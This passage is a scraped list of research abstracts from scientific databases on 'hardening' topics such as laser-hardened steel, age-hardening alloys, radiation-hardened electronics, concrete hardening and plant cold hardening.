elevated temperatures, especially in the regime where dynamic strain-aging occurs. It is shown that local solute mobility can affect both the rate of dynamic recovery and the dislocation/dislocation interaction strength. The latter effect leads to multiplicative solution strengthening. It is explained by a new model based on repeated dislocation unlocking, in a high-temperature limit, which also rationalizes the stress dependence of static and dynamic strain-aging, and may help explain the plateau of the yield stress at elevated temperatures. 15 figures 17. Structural heredity influence upon principles of strain wave hardening Science.gov (United States) Kiricheck, A. V.; Barinov, S. V.; Yashin, A. V. 2017-02-01 It was established experimentally that by penetration of a strain wave through material hardened not only the technological modes of processing, but also a technological heredity - the direction of the fibers of the original macrostructure have an influence upon the diagram of microhardness. By penetration of the strain wave along fibers, the degree of hardening the material is less, however, a product is hardened throughout its entire section mainly along fibers. In the direction of the strain waves across fibers of the original structure of material, the degree of material hardening is much higher, the depth of the hardened layer with the degree of hardening not less than 50% makes at least 3 mm. It was found that under certain conditions the strain wave can completely change the original structure of the material. Thus, a heterogeneously hardened structure characterized by the interchange of harder and more viscous areas is formed, which is beneficial for assurance of high operational properties of material. 18. Hydrogen embrittlement susceptibility of laser-hardened 4140 steel Energy Technology Data Exchange (ETDEWEB) Tsay, L.W.; Lin, Z.W. [Nat. Taiwan Ocean Univ., Keelung (Taiwan). Inst. of Mater. Eng.; Shiue, R.K. [Institute of Materials Sciences and Engineering, National Dong Hwa University, Hualien, Taiwan (Taiwan); Chen, C. [Institute of Materials Sciences and Engineering, National Taiwan University, Taipei, Taiwan (Taiwan) 2000-10-15 Slow strain rate tensile (SSRT) tests were performed to investigate the susceptibility to hydrogen embrittlement of laser-hardened AISI 4140 specimens in air, gaseous hydrogen and saturated H{sub 2}S solution. Experimental results indicated that round bar specimens with two parallel hardened bands on opposite sides along the loading axis (i.e. the PH specimens), exhibited a huge reduction in tensile ductility for all test environments. While circular-hardened (CH) specimens with 1 mm hardened depth and 6 mm wide within the gauge length were resistant to gaseous hydrogen embrittlement. However, fully hardened CH specimens became susceptible to hydrogen embrittlement for testing in air at a lower strain rate. The strength of CH specimens increased with decreasing the depth of hardened zones in a saturated H{sub 2}S solution. The premature failure of hardened zones in a susceptible environment caused the formation of brittle intergranular fracture and the decrease in tensile ductility. (orig.) 19. Effect of Pre-Aging Conditions on Bake-Hardening Response of Al-0.4 wt%Mg-1.2 wt%Si-0.1 wt%Mn Alloy Sheets International Nuclear Information System (INIS) Lee, Kwang-jin; Woo, Kee-do 2011-01-01 Pre-aging heat treatment after solution heat treatment (SHT) of Al-0.4 wt%Mg-1.2 wt%Si-0.1 wt%Mn alloy sheets for auto-bodies was carried out to investigate the effect of pre-aging and its conditions on the bake-hardening response. Mechanical properties were evaluated by a tensile and Vickers hardness test. Microstructural observation was also performed using a transmission electron microscope (TEM). It was revealed that pre-aging treatments play a great role in the bake-hardening response. In addition, it was found that the sphere-shaped nanosized clusters that can directly transit to the needle-shaped β” phase during the paint-bake process, not being dissolved into the matrix, are formed at 343 K. The result, reveals that the dominant factor of the bake-hardening response is the pre-aging temperature rather than the pre-aging time. 20. Investigation of srawberry hardening in low temperatures in vitro OpenAIRE Lukoševičiūtė, Vanda; Rugienius, Rytis; Kavaliauskaitė, Danguolė 2007-01-01 Cold resistance of different strawberry varieties in vitro and ability to retain hardening after defrosting and repeated hardening. Phytohormons – gibberellin and abscisic acid added in the growing medium were investigated in Horticulture plant genetic and biotechnology department of LIH. We tried to model common conditions in temperate zone when freeze-thaw cycles often occur during wintertime. For investigation in vitro strawberries for the first time hardened in light at the temperature of... 1. Hardening Azure applications CERN Document Server Gaurav, Suraj 2015-01-01 Learn what it takes to build large scale, mission critical applications -hardened applications- on the Azure cloud platform. This 208 page book covers the techniques and engineering principles that every architect and developer needs to know to harden their Azure/.NET applications to ensure maximum reliability and high availability when deployed at scale. While the techniques are implemented in .NET and optimized for Azure, the principles here will also be valuable for users of other cloud-based development platforms. Applications come in a variety of forms, from simple apps that can be bui 2. Radiation hardenable coating mixture International Nuclear Information System (INIS) Howard, D.D. 1977-01-01 This invention relates to coatings that harden under radiation and to their compositions. Specifically, this invention concerns unsaturated urethane resins polymerisable by addition and to compositions, hardening under the effect of radiation, containing these resins. These resins feature the presence of at least one unsaturated ethylenic terminal group of structure CH 2 =C and containing the product of the reaction of an organic isocyanate compound with at least two isocyanate groups and one polyester polyol with at least two hydroxyl groups, and one unsaturated monomer compound polymerisable by addition having a single active hydrogen group reacting with the isocyanate [fr 3. Nitrogen nutrition and drought hardening exert opposite effects on the stress tolerance of Pinus pinea L. seedlings. Science.gov (United States) Villar-Salvador, Pedro; Peñuelas, Juan L; Jacobs, Douglass F 2013-02-01 Functional attributes determine the survival and growth of planted seedlings in reforestation projects. Nitrogen (N) and water are important resources in the cultivation of forest species, which have a strong effect on plant functional traits. We analyzed the influence of N nutrition on drought acclimation of Pinus pinea L. seedlings. Specifically, we addressed if high N fertilization reduces drought and frost tolerance of seedlings and whether drought hardening reverses the effect of high N fertilization on stress tolerance. Seedlings were grown under two N fertilization regimes (6 and 100 mg N per plant) and subjected to three drought-hardening levels (well-watered, moderate and strong hardening). Water relations, gas exchange, frost damage, N concentration and growth at the end of the drought-hardening period, and survival and growth of seedlings under controlled xeric and mesic outplanting conditions were measured. Relative to low-N plants, high-N plants were larger, had higher stomatal conductance (27%), residual transpiration (11%) and new root growth capacity and closed stomata at higher water potential. However, high N fertilization also increased frost damage (24%) and decreased plasmalemma stability to dehydration (9%). Drought hardening reversed to a great extent the reduction in stress tolerance caused by high N fertilization as it decreased frost damage, stomatal conductance and residual transpiration by 21, 31 and 24%, respectively, and increased plasmalemma stability to dehydration (8%). Drought hardening increased tissue non-structural carbohydrates and N concentration, especially in high-fertilized plants. Frost damage was positively related to the stability of plasmalemma to dehydration (r = 0.92) and both traits were negatively related to the concentration of reducing soluble sugars. No differences existed between moderate and strong drought-hardening treatments. Neither N nutrition nor drought hardening had any clear effect on seedling 4. A Novel Radiation Hardened CAM CERN Document Server Shojaii, Seyed Ruhollah; The ATLAS collaboration 2018-01-01 This poster describes an innovative Content Addressable Memory cell with radiation hardened (RH-CAM) architecture. The RH-CAM is designed in a commercial 28 nm CMOS technology. The circuit has been simulated in worst-case conditions, and the effects due to single particles are analyzed injecting a fault current into a circuit node. The proposed architecture can perform on-time pattern recognition tasks in harsh environments, such as very front-end electronics in hadron colliders and in space applications. 5. Analysis of the unstressed lattice spacing, d0, for the determination of the residual stress in a friction stir welded plate of an age-hardenable aluminum alloy – Use of equilibrium conditions and a genetic algorithm International Nuclear Information System (INIS) Cioffi, F.; Hidalgo, J.I.; Fernández, R.; Pirling, T.; Fernández, B.; Gesto, D.; Puente Orench, I.; Rey, P.; González-Doncel, G. 2014-01-01 Procedures based on equilibrium conditions (stress and bending moment) have been used to obtain an unstressed lattice spacing, d 0 , as a crucial requirement for calculating the residual stress (RS) profile across a joint conducted on a 10 mm thick plate of age-hardenable AA2024 alloy by friction stir welding (FSW). Two procedures have been used that take advantage of neutron diffraction measurements. First, equilibrium conditions were imposed on sections parallel to the weld so that a constant d 0 value corresponding to the base material region could be calculated analytically. Second, balance conditions were imposed on a section transverse to the weld. Then, using the data and a genetic algorithm, suitable d 0 values for the different regions of the weld have been found. For several reasons, the comb method has proved to be inappropriate for RS determination in the case of age-hardenable alloys. However, the equilibrium conditions, together with the genetic algorithm, has been shown to be very suitable for determining RS profiles in FSW joints of these alloys, where inherent microstructural variations of d 0 across the weld are expected 6. On residual stresses and fatigue of laser hardened steels International Nuclear Information System (INIS) Lin, Ru. 1992-01-01 This thesis deals with studies on residual stresses and fatigue properties of laser-transformation hardened steels. Two types of specimens, cylinders and fatigue specimens were used in the studies. The cylinders, made of Swedish steels SS 2244 and SS 2258 which correspond to AISI 4140 and AISI 52100 respectively, were locally hardened by a single scan of laser beam in the longitudinal direction, with various laser parameters. Residual stress distributions across the hardened tracks were measured by means of X-ray diffraction. The origins of residual stresses were investigated and discussed. For the fatigue specimens, including smooth and notched types made of Swedish steels SS 2244, SS 2225 and SS 1572 (similar to AISI 4140, AISI 4130 and AISI 1035, respectively), laser hardening was carried out in the gauge section. The residual stress field induced by the hardening process and the fatigue properties by plane bending fatigue test were studied. In order to investigate the stability of the residual stress field, stress measurements were also made on specimens being loaded near the fatigue limits for over 10 7 cycles. Further the concept of local fatigue strength was employed to correlate quantitatively the effect of hardness and residual stress field on the fatigue limits. In addition a group of smooth specimens of SS 2244 was induction hardened and the hardening results were compared with the corresponding laser hardened ones in terms of residual stress and fatigue behaviour. It has been found that compressive stresses exist in the hardened zone of all the specimens studied. The laser hardening condition, the specimen and how the hardening is carried out can significantly affect the residual stress field. Laser hardening can greatly improve the fatigue properties by inducing a hardened and compressed surface layer. (112 refs.)(au) 7. On residual stresses and fatigue of laser hardened steels Energy Technology Data Exchange (ETDEWEB) Lin, Ru. 1992-01-01 This thesis deals with studies on residual stresses and fatigue properties of laser-transformation hardened steels. Two types of specimens, cylinders and fatigue specimens were used in the studies. The cylinders, made of Swedish steels SS 2244 and SS 2258 which correspond to AISI 4140 and AISI 52100 respectively, were locally hardened by a single scan of laser beam in the longitudinal direction, with various laser parameters. Residual stress distributions across the hardened tracks were measured by means of X-ray diffraction. The origins of residual stresses were investigated and discussed. For the fatigue specimens, including smooth and notched types made of Swedish steels SS 2244, SS 2225 and SS 1572 (similar to AISI 4140, AISI 4130 and AISI 1035, respectively), laser hardening was carried out in the gauge section. The residual stress field induced by the hardening process and the fatigue properties by plane bending fatigue test were studied. In order to investigate the stability of the residual stress field, stress measurements were also made on specimens being loaded near the fatigue limits for over 10[sup 7] cycles. Further the concept of local fatigue strength was employed to correlate quantitatively the effect of hardness and residual stress field on the fatigue limits. In addition a group of smooth specimens of SS 2244 was induction hardened and the hardening results were compared with the corresponding laser hardened ones in terms of residual stress and fatigue behaviour. It has been found that compressive stresses exist in the hardened zone of all the specimens studied. The laser hardening condition, the specimen and how the hardening is carried out can significantly affect the residual stress field. Laser hardening can greatly improve the fatigue properties by inducing a hardened and compressed surface layer. (112 refs.)(au). 8. Concrete, hardened: Self desiccation DEFF Research Database (Denmark) Hansen, Ernst Jan De Place; Hansen, Kurt Kielsgaard; Persson, Bertil 1999-01-01 The test method covers the determination of internal relative humidity (RH) in hardened concrete and cement mortar using RH instruments. The determination of RH is done on crushed samples of concrete or cement motar. This test method is only for measuring equipment which gives off or takes up... 9. Radiation hardening and embrittlement of some refractory metals and alloys International Nuclear Information System (INIS) Fabritsiev, S.; Pokrovskyb 2007-01-01 Tungsten is proposed for application in the ITER divertor and limiter as plasma facing material. The tungsten operation temperature in the ITER divertor is relatively high. Hence, the ductile properties of tungsten will be controlled by the low temperature radiation embrittlement. The mechanism of radiation hardening and embrittlement under neutron irradiation at low temperature is well studied for FCC metals, in particular for copper. At the same time, low-temperature radiation hardening of BCC materials, in particular for refractory metals, is less studied. This study presents the results of investigation into radiation hardening and embrittlement of pure metals: W, Mo and Nb, and W-Re and Ta-4W alloys. The materials were in the annealed conditions. The specimens were irradiated in the SM-2 reactor to doses of 10 -4 -10 -1 dpa at 80 C and then tested for tension at 80 C. The study of the stress-strain curves of unirradiated specimens revealed a yield drop for W, Mo, Nb, Ta-4W, W-Re. After the yield drop some metals (Mo,Nb) retain their capability for strain hardening and demonstrate a high elongation (20-50%). Radiation hardening is maximum in Mo (∝400MPa) and minimum in Nb (∝100 MPa). In this case the dependence slope for Nb is similar to that for pure copper irradiated in SM-2 under the same conditions. Ii and Ta-4W have a higher slope. Measurement of electrical resistivity of irradiated specimens showed that for all materials it is increased monotonously with an increase in the irradiation dose. A minimum gain in electrical resistivity with a dose was observed for Nb (∝3% at 0.1 dpa). As for Mo it was essentially higher, i.e. ∝ 30%. The gain was maximum for W-Re alloy. Comparison of radiation hardening dose dependencies obtained in this study with the data for FCC metals (Cu) showed that in spite of the quantitative difference the qualitative behavior of these two classes of metals is similar. (orig.) 10. Conditioning Influences Audio-Visual Integration by Increasing Sound Saliency Directory of Open Access Journals (Sweden) Fabrizio Leo 2011-10-01 Full Text Available We investigated the effect of prior conditioning of an auditory stimulus on audiovisual integration in a series of four psychophysical experiments. The experiments factorially manipulated the conditioning procedure (picture vs monetary conditioning and multisensory paradigm (2AFC visual detection vs redundant target paradigm. In the conditioning sessions, subjects were presented with three pure tones (= conditioned stimulus, CS that were paired with neutral, positive, or negative unconditioned stimuli (US, monetary: +50 euro cents,.–50 cents, 0 cents; pictures: highly pleasant, unpleasant, and neutral IAPS. In a 2AFC visual selective attention paradigm, detection of near-threshold Gabors was improved by concurrent sounds that had previously been paired with a positive (monetary or negative (picture outcome relative to neutral sounds. In the redundant target paradigm, sounds previously paired with positive (monetary or negative (picture outcomes increased response speed to both auditory and audiovisual targets similarly. Importantly, prior conditioning did not increase the multisensory response facilitation (ie, (A + V/2 – AV or the race model violation. Collectively, our results suggest that prior conditioning primarily increases the saliency of the auditory stimulus per se rather than influencing audiovisual integration directly. In turn, conditioned sounds are rendered more potent for increasing response accuracy or speed in detection of visual targets. 11. Hardening in AlN induced by point defects International Nuclear Information System (INIS) Suematsu, H.; Mitchell, T.E.; Iseki, T.; Yano, T. 1991-01-01 Pressureless-sintered AIN was neutron irradiated and the hardness change was examined by Vickers indentation. The hardness was increased by irradiation. When the samples were annealed at high temperature, the hardness gradually decreased. Length was also found to increase and to change in the same way as the hardness. A considerable density of dislocation loops still remained, even after the hardness completely recovered to the value of the unirradiated sample. Thus, it is concluded that the hardening in AIN is caused by isolated point defects and small clusters of point defects, rather than by dislocation loops. Hardness was found to increase in proportion to the length change. If the length change is assumed to be proportional to the point defect density, then the curve could be fitted qualitatively to that predicted by models of solution hardening in metals. Furthermore, the curves for three samples irradiated at different temperatures and fluences are identical. There should be different kinds of defect clusters in samples irradiated at different conditions, e.g., the fraction of single point defects is the highest in the sample irradiated at the lowest temperature. Thus, hardening is insensitive to the kind of defects remaining in the sample and is influenced only by those which contribute to length change 12. ANISOTROPIC STRAIN-HARDENING IN POLYCRYSTALLINE COPPER AND ALUMINUM NARCIS (Netherlands) HESS, F 1993-01-01 A new viscoplastic model for the plastic stress-strain behaviour of f.c.c. metals is presented. In this model the strain hardening results from increasing dislocation densities. The observed stagnation of strain hardening after strain reversals is explained by a lowering of the increase in 13. RHOBOT: Radiation hardened robotics Energy Technology Data Exchange (ETDEWEB) Bennett, P.C.; Posey, L.D. [Sandia National Labs., Albuquerque, NM (United States) 1997-10-01 A survey of robotic applications in radioactive environments has been conducted, and analysis of robotic system components and their response to the varying types and strengths of radiation has been completed. Two specific robotic systems for accident recovery and nuclear fuel movement have been analyzed in detail for radiation hardness. Finally, a general design approach for radiation-hardened robotics systems has been developed and is presented. This report completes this project which was funded under the Laboratory Directed Research and Development program. 14. RHOBOT: Radiation hardened robotics International Nuclear Information System (INIS) Bennett, P.C.; Posey, L.D. 1997-10-01 A survey of robotic applications in radioactive environments has been conducted, and analysis of robotic system components and their response to the varying types and strengths of radiation has been completed. Two specific robotic systems for accident recovery and nuclear fuel movement have been analyzed in detail for radiation hardness. Finally, a general design approach for radiation-hardened robotics systems has been developed and is presented. This report completes this project which was funded under the Laboratory Directed Research and Development program 15. Grind hardening process CERN Document Server Salonitis, Konstantinos 2015-01-01 This book presents the grind-hardening process and the main studies published since it was introduced in 1990s. The modelling of the various aspects of the process, such as the process forces, temperature profile developed, hardness profiles, residual stresses etc. are described in detail. The book is of interest to the research community working with mathematical modeling and optimization of manufacturing processes. 16. Radiation hardening coating material International Nuclear Information System (INIS) McDonald, W.H.; Prucnal, P.J.; DeMajistre, Robert. 1977-01-01 This invention concerns a radiation hardening coating material. First a resin is prepared by reaction of bisphenol diglycidylic ether with acrylic or methacrylic acids. Then the reactive solvent is prepared by reaction of acrylic or methacrylic acids with epichlorhydrine or epibromhydrine. Then a solution consisting of the resin dissolved in the reactive solvent is prepared. A substrate (wood, paper, polyesters, polyamines etc.) is coated with this composition and exposed to ionizing radiations (electron beams) or ultraviolet radiations [fr 17. Precipitation and Hardening in Magnesium Alloys Science.gov (United States) Nie, Jian-Feng 2012-11-01 Magnesium alloys have received an increasing interest in the past 12 years for potential applications in the automotive, aircraft, aerospace, and electronic industries. Many of these alloys are strong because of solid-state precipitates that are produced by an age-hardening process. Although some strength improvements of existing magnesium alloys have been made and some novel alloys with improved strength have been developed, the strength level that has been achieved so far is still substantially lower than that obtained in counterpart aluminum alloys. Further improvements in the alloy strength require a better understanding of the structure, morphology, orientation of precipitates, effects of precipitate morphology, and orientation on the strengthening and microstructural factors that are important in controlling the nucleation and growth of these precipitates. In this review, precipitation in most precipitation-hardenable magnesium alloys is reviewed, and its relationship with strengthening is examined. It is demonstrated that the precipitation phenomena in these alloys, especially in the very early stage of the precipitation process, are still far from being well understood, and many fundamental issues remain unsolved even after some extensive and concerted efforts made in the past 12 years. The challenges associated with precipitation hardening and age hardening are identified and discussed, and guidelines are outlined for the rational design and development of higher strength, and ultimately ultrahigh strength, magnesium alloys via precipitation hardening. 18. Bake hardening of nanograin AA7075 aluminum alloy International Nuclear Information System (INIS) Dehghani, Kamran 2011-01-01 Highlights: ► The bake hardening behavior of AA7075 was studied and compared with its coarse-grain counterpart. ► Nanograin AA7075 exhibited 88–100% increase in bake hardenability. ► Nanograin AA7075 exhibited 36–38% increase in final yield strength after baking. ► Maximum bake hardenability and final yield stress were about 185 MPa and 719 MPa. - Abstract: In the present work, the bake hardening of nanostructured AA7075 aluminum alloy was compared with that of its coarse-grain counterpart. Surface severe plastic deformation (SSPD) was used to produce nanograin layers on both surfaces of workpieces. The nanostructured layers were characterized using scanning electron microscopy (SEM) and atomic force microscopy (AFM) techniques. The thickness of nanostructured layer, having the grains of 50–110 nm, was about 75 μm on each side of workpiece. The bake hardenability of nanograin and coarse-grain AA7075 was then compared by pre-straining to 2, 4 and 6% followed by baking at 100 °C and 200 °C for 20 min. Comparing to coarse-grain case, there was about 88–100% increase in bake hardenability and about 36–38% increase in yield strength after the bake hardening of present nanograin AA7075. Such an increase in bake hardenability and strength was achieved when the thickness of two nanograin layers was about only one-tenth of the whole thickness. 19. EFFECT OF HARDENING TIME ON DEFORMATION-STRENGTH INDICATORS OF CONCRETE FOR INJECTION WITH A TWO-STAGE EXPANSION DURING HARDENING IN WATER Directory of Open Access Journals (Sweden) Tatjana N. Zhilnikova 2017-01-01 Full Text Available Abstract. Objectives Concretes for injection with a two-stage expansion are a kind of selfstressing concrete obtained with the use of self-stressing cement.The aim of the work is to study the influence of the duration of aging on the porosity, strength and self-stress of concrete hardening in water, depending on the expansion value at the first stage. At the first stage, the compacted concrete mixture is expanded to ensure complete filling of the formwork space. At the second stage, the hardening concrete expands due to the formation of an increased amount of ettringite. This process is prolonged in time, with the amount of self-stress and strength dependant on the conditions of hardening. Methods Experimental evaluation of self-stress, strength and porosity of concretes that are permanently hardened in water, under air-moist and air-dry conditions after different expansion at the first stage. The self-stress of cement stone is the result of superposition of two processes: the hardening of the structure due to hydration of silicates and its expansion as a result of hydration of calcium aluminates with the subsequent formation of ettringite. The magnitude of self-stress is determined by the ratio of these two processes. The self-stress of the cement stone changes in a manner similar to the change in its expansion. The stabilisation of expansion is accompanied by stabilisation of self-stress of cement stone. Results The relationship of self-stress, strength and porosity of concrete for injection with a two-stage expansion on the duration and humidity conditions of hardening, taking into account the conditions of deformation limitation at the first stage, is revealed. Conclusion During prolonged hardening in an aqueous medium, self-stresses are reduced up to 25% with the exception of expansion at the first stage and up to 20% with an increase in volume up to 5% at the first stage. The increase in compressive strength is up to 28% relative to 20. Influences of Steelmaking Slags on Hydration and Hardening of Concretes Science.gov (United States) Kirsanova, A. A.; Dildin, A. N.; Maksimov, S. P. 2017-11-01 It is shown that the slag of metallurgical production can be used in the construction industry as an active mineral additive for concrete. This approach allows us to solve environmental problems and reduce costs for the production of binder and concrete simultaneously. Most often slag is used in the form of a filler, an active mineral additive or as a part of a binder for artificial conglomerates. The introduction of slag allows one to notice a part of the cement, to obtain concretes that are more resistant to the impact of aggressive sulfate media. The paper shows the possibility of using recycled steel-smelting slags in the construction industry for the production of cement. An assessment was made of their effect on the hydration of the cement stone and hardening of the concrete together with the plasticizer under normal conditions. In the process of work, we used the slag of the Zlatoust Electrometallurgical Factory. Possible limitations of the content of steel-slag slag in concrete because of the possible presence of harmful impurities are shown. It is necessary to enter slag in conjunction with superplasticizers to reduce the flow of water mixing. Slags can be used as a hardening accelerator for cement concrete as they allow one to increase the degree of cement hydration and concrete strength. It is shown that slags can be used to produce fast-hardening concretes and their comparative characteristics with other active mineral additives are given. 1. Practical aspects of systems hardening International Nuclear Information System (INIS) Shepherd, W.J. 1989-01-01 Applications of hardening technology in a practical system require a balance between the factors governing affordability, producibility, and survivability of the finished design. Without careful consideration of the top-level system operating constraints, a design engineer may find himself with a survivable but overweight, unproductive, expensive design. This paper explores some lessons learned in applying hardening techniques to several laser communications programs and is intended as an introductory guide to novice designers faced with the task of hardening a space system 2. Nuclear effects hardened shelters International Nuclear Information System (INIS) Lindke, P. 1990-01-01 This paper reports on the Houston Fearless 76 Government Projects Group that has been actively engaged for more than twenty-five years as a sub-contractor and currently as a prime contractor in the design, manufacture, repair and logistics support of custom mobile ground stations and their equipment accommodations. Other associated products include environmental control units (ECU's), mobilizers for shelters and a variety of mobile power generation units (MPU's). Since 1984, Houston Fearless 76 has designed and manufactured four 8 foot by 8 foot x 22 foot nuclear hardened mobile shelters. These shelters were designed to contain electronic data processing/reduction equipment. One shelter is currently being operated by the Air Force as a Defense Intelligence Agency (DIA) approved and certified Special Compartmented Information Facility (SCIF). During the development and manufacturing process of the shelters, we received continual technical assistance and design concept evaluations from Science Applications International Corporation (SAIC) Operations Analysis and Logistics Engineering Division and the Nondestructive Inspection Lab at McClellan AFB. SAIC was originally employed by the Air Force to design the nuclear hardening specifications applied to these shelters 3. A review of the stages of work hardening Energy Technology Data Exchange (ETDEWEB) Rollett, A.D.; Kocks, U.F. 1993-07-01 Stages of work hardening are reviewed with emphasis on links between each stage. Simple quantitative descriptions are given for each stage. Similarities between stage I, easy glide, and stage IV, large strain hardening, are pointed out both in terms of magnitude of the hardening rate and of the underlying mechanism of dislocation debris accumulation. Stage II is described as an athermal hardening stage that occurs when statistical variations in the dislocation forest lead to geometrical storage of dislocations. The steadily decreasing hardening rate observed in stage III is characterized by the increasing rate of loss of dislocation density due to dynamic recovery. Stage III appears to have an asymptote to a saturation stress which is determined by the characteristics of the dislocation tangles, or cell walls. The imperfect nature of the dynamic recovery process, however, leads to the accumulation of dislocation debris and this, by analogy with stage 1, causes the apparent saturation stress to rise, thus causing stage IV. 4. OCCUPATIONAL ASTHMA CAUSED BY A HARDENER CONTAINING AN ALIPHATIC AND A CYCLOALIPHATIC DIAMINE NARCIS (Netherlands) ALEVA, RM; AALBERS, R; KOETER, GH; DEMONCHY, JGR An otherwise healthy 44-yr-old man experienced a serious attack of bronchial obstruction after working with resins and hardeners, releasing fumes of a mixture of an aliphatic and a cycloaliphatic diamine hardener. Eight hours after deliberate challenge with the hardener a large increase of airway 5. Effect of hardening methods of moulding sands with water glass on structure of bonding bridges Directory of Open Access Journals (Sweden) M. Stachowicz 2010-07-01 Full Text Available Research on influence of hardening methods on structure of bonding bridges in moulding sands with sodium water glass is presented.Moulding sands with addition of 2.5 % of binder with molar module 2.0 were hardened with CO2 and dried in traditional way or hardenedwith microwaves. It was proved that the hardening method affects structure of bonding bridges, correlating with properties of the hardened moulding sands. It was found that strength of the moulding sands hardened with microwaves for 4 min is very close to that measured after traditional drying at 110 °C for 120 min. So, application of microwave hardening ensures significant shortening of the process time to the value comparable with CO2 hardening but guaranteeing over 10-fold increase of mechanical properties. Analysis of SEM images of hardened moulding sands permitted explaining differences in quality parameters of moulding sands by connecting them with structure of the created bonding bridges. 6. Influence of Cultivar on the Postharvest Hardening of Trifoliate Yam (Dioscorea dumetorum Tubers Directory of Open Access Journals (Sweden) Christian Siadjeu 2016-01-01 Full Text Available The influence of cultivar on the postharvest hardening of Dioscorea dumetorum tubers was assessed. 32 cultivars of D. dumetorum tubers were planted in April 2014, harvested at physiological maturity, and stored under prevailing tropical ambient conditions (19–28°C, 60–85% RH for 0, 5, 14, 21, and 28 days. Samples were evaluated for cooked hardness. Results showed that one cultivar, Ibo sweet 3, was not affected by the hardening phenomenon. The remaining 31 were all subject to the hardening phenomenon at different degree. Cooked hardness increased more rapidly in cultivars with many roots on the tuber surface compared to cultivars with few roots on the tuber surface. When both the characteristics flesh colour and number of roots on tuber surface were associated, cooked hardness in cultivars with yellow flesh and many roots increased more rapidly than in cultivars with white flesh and many roots, whereas cooked hardness in cultivars with yellow flesh and few roots increased more slowly than in cultivars with white flesh and few roots. Accessions collected in high altitude increased more rapidly compared to accessions collected in low altitude. The cultivar Ibo sweet 3 identified in this study could provide important information for breeding program of D. dumetorum against postharvest hardening phenomenon. 7. Radiation-hardened optoelectronic components: detectors International Nuclear Information System (INIS) Wiczer, J.J. 1986-01-01 In this talk, we will survey recent research in the area of radiation hardened optical detectors. We have studied conventional silicon photodiode structures, special radiation hardened silicon photodiodes, and special double heterojunction AlGaAs/GaAs photodiodes in neutron, gamma, pulsed x-ray and charged particle environments. We will present results of our work and summarize other research in this area. Our studies have shown that detectors can be made to function acceptably after exposures to neutron fluences of 10 15 n/cm 2 , total dose gamma exposures of 10 8 rad (Si), and flash x-ray environments of 10 8 rad/sec (Si). We will describe detector structures that can operate through these conditions, pre-rad and post-rad operational characteristics, and experimental conditions that produced these results. 23 refs., 10 figs., 1 tab 8. Generation Mechanism of Work Hardened Surface Layer in Metal Cutting Science.gov (United States) Hikiji, Rikio; Kondo, Eiji; Kawagoishi, Norio; Arai, Minoru Finish machining used to be carried out in grinding, but it is being replaced by cutting with very small undeformed chip thickness. In ultra precision process, the effects of the cutting conditions and the complicated factors on the machined surface integrity are the serious problems. In this research, work hardened surface layer was dealt with as an evaluation of the machined surface integrity and the effect of the mechanical factors on work hardening was investigated experimentally in orthogonal cutting. As a result, it was found that work hardened surface layer was affected not only by the shear angle varied under the cutting conditions and the thrust force of cutting resistance, but also by the thrust force acting point, the coefficient of the thrust force and the compressive stress equivalent to the bulk hardness. Furthermore, these mechanical factors acting on the depth of the work hardened surface layer were investigated with the calculation model. 9. Zinc coated sheet steel for press hardening Science.gov (United States) Ghanbari, Zahra N. Galvanized steels are of interest to enhance corrosion resistance of press-hardened steels, but concerns related to liquid metal embrittlement have been raised. The objective of this study was to assess the soak time and temperature conditions relevant to the hot-stamping process during which Zn penetration did or did not occur in galvanized 22MnB5 press-hardening steel. A GleebleRTM 3500 was used to heat treat samples using hold times and temperatures similar to those used in industrial hot-stamping. Deformation at both elevated temperature and room temperature were conducted to assess the coating and substrate behavior related to forming (at high temperature) and service (at room temperature). The extent of alloying between the coating and substrate was assessed on undeformed samples heat treated under similar conditions to the deformed samples. The coating transitioned from an α + Gamma1 composition to an α (bcc Fe-Zn) phase with increased soak time. This transition likely corresponded to a decrease in availability of Zn-rich liquid in the coating during elevated temperature deformation. Penetration of Zn into the substrate sheet in the undeformed condition was not observed for any of the processing conditions examined. The number and depth of cracks in the coating and substrate steel was also measured in the hot-ductility samples. The number of cracks appeared to increase, while the depth of cracks appeared to decrease, with increasing soak time and increasing soak temperature. The crack depth appeared to be minimized in the sample soaked at the highest soak temperature (900 °C) for intermediate and extended soak times (300 s or 600 s). Zn penetration into the substrate steel was observed in the hot-ductility samples soaked at each hold temperature for the shortest soak time (10 s) before being deformed at elevated temperature. Reduction of area and elongation measurements showed that the coated sample soaked at the highest temperature and longest soak time 10. THE DEVELOPMENT OF TECHNOLOGY OF THE CORE THERMO-MECHANICALLY HARDENED REINFORC-ING STEEL OF GRADE A700HW OF DIE-ROLLED SECTION NO 12, 14, 16 PRODUCTION ACCORDING TO REQUIREMENT OF FINNISH STANDARDS SFST1216 IN CONDITIONS OF SMALL-SECTION MILL 320 OF RUP «BMZ» Directory of Open Access Journals (Sweden) A. V. Rusalenko 2009-01-01 Full Text Available The development of technology of the core thermomechanically hardened reinforcing steel of grade А700HW of die-rolled section No 12, 14, 16 production according to requirement of Finnish standards SFST1216 in conditions of small-section mill 320 of RUP «BMZ» is given. 11. WAYS TO INCREASE COMPETITIVENESS OF RAILWAY TRANSPORT IN MODERN CONDITIONS Directory of Open Access Journals (Sweden) P. V. Bech 2015-07-01 Full Text Available Purpose. In this paper it is necessary to analyze the types of competition in the transport market in order to find ways to improve the competitiveness of railway transport and to determine the ensuring equal conditions for all market participants by eliminating discrimination in competition. Methodology. Analysis of recent research and publications on the subject was held by the authors. The question of the development of competition, increased competitiveness in railway transport was investigated. Attention is drawn to the fact that due to the decline in traffic volumes on all modes of transport competition may significantly change the usual sphere the effective use of different modes of transport. Every mode of transport occupies a particular segment of the transport market, taking into account its technical and economic features, weakly competing, and in some cases do not compete with each other (except the road transport. However, it is entirely possible competition inside these segments.Findings. The problems of management of competitiveness, including the transport market, which required extensive analysis and serious scientific study, were identified. Originality. As a result of this work the features of transport and production of transport in modern conditions were structured. The dependences of passenger turnover and freight turnover by mode of transport over the past decade were shown. The question of additional profits by providing the cargo owners a range of service was examined. The optimal combination of cost and quality of such services at each transportation company promotes increasing its competitive status. Practical value. Competition between enterprises of the industry put the aim of improving the competitiveness of not only railway subsystems directly involved in technology movement of cargoes and the movement of passengers, but also the organization of infrastructure in the first place – subsystems to expand services 12. Challenges of using air conditioning in an increasingly hot climate Science.gov (United States) Lundgren-Kownacki, Karin; Hornyanszky, Elisabeth Dalholm; Chu, Tuan Anh; Olsson, Johanna Alkan; Becker, Per 2018-03-01 At present, air conditioning (AC) is the most effective means for the cooling of indoor space. However, its increased global use is problematic for various reasons. This paper explores the challenges linked to increased AC use and discusses more sustainable alternatives. A literature review was conducted applying a transdisciplinary approach. It was further complemented by examples from cities in hot 